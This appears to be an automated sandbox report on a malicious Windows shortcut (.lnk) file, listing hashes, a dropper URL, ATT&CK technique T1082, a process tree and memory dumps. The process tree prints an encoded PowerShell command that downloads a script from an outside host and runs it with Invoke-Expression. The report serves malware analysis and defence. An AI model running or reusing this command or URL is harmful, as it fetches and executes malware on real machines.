da926fb52411d384b2308f03401bfc776ab20720477a7ca27964a11e3c3c73ff

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
06-03-2024 14:06

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General

Target

11068-1106811068-11068.lnk
Size

22KB
MD5

9a4435a3b04ec90721a401d4db1fd5a3
SHA1

6df13aec39d7bc1177748ea2bcc32a04c8e8e8b0
SHA256

da926fb52411d384b2308f03401bfc776ab20720477a7ca27964a11e3c3c73ff
SHA512

d77555d6b225c3026050db1ad6c80c947d45bb51b28a1be40b907e6f16ac0ab3e164b814f161dc94d818cd715f9dc519dca15f5c48c52a14bc56754fe419157f
SSDEEP

384:w5Dfbc9wtpZ+8ZMdRQQWftQmJQRXduS9UMjWlhiB7YzAiPuFug9EA9DDh10:ifbcKpZ+4MdmQWemJQ9duYUOS9ADFusO

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://reelstudio.com.my/utilities.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2624	powershell.exe
4	2624	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2624	2272	cmd.exe	29
PID 2272 wrote to memory of 2624	2272	cmd.exe	29
PID 2272 wrote to memory of 2624	2272	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\11068-1106811068-11068.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAGUAbABzAHQAdQBkAGkAbwAuAGMAbwBtAC4AbQB5AC8AdQB0AGkAbABpAHQAaQBlAHMALgB0AHgAdAAnACkAIAB8ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2624-38-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2624-40-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-39-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

Filesize
32KB

Download
memory/2624-41-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2624-43-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2624-44-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2624-42-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-45-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2624-46-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2624-47-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download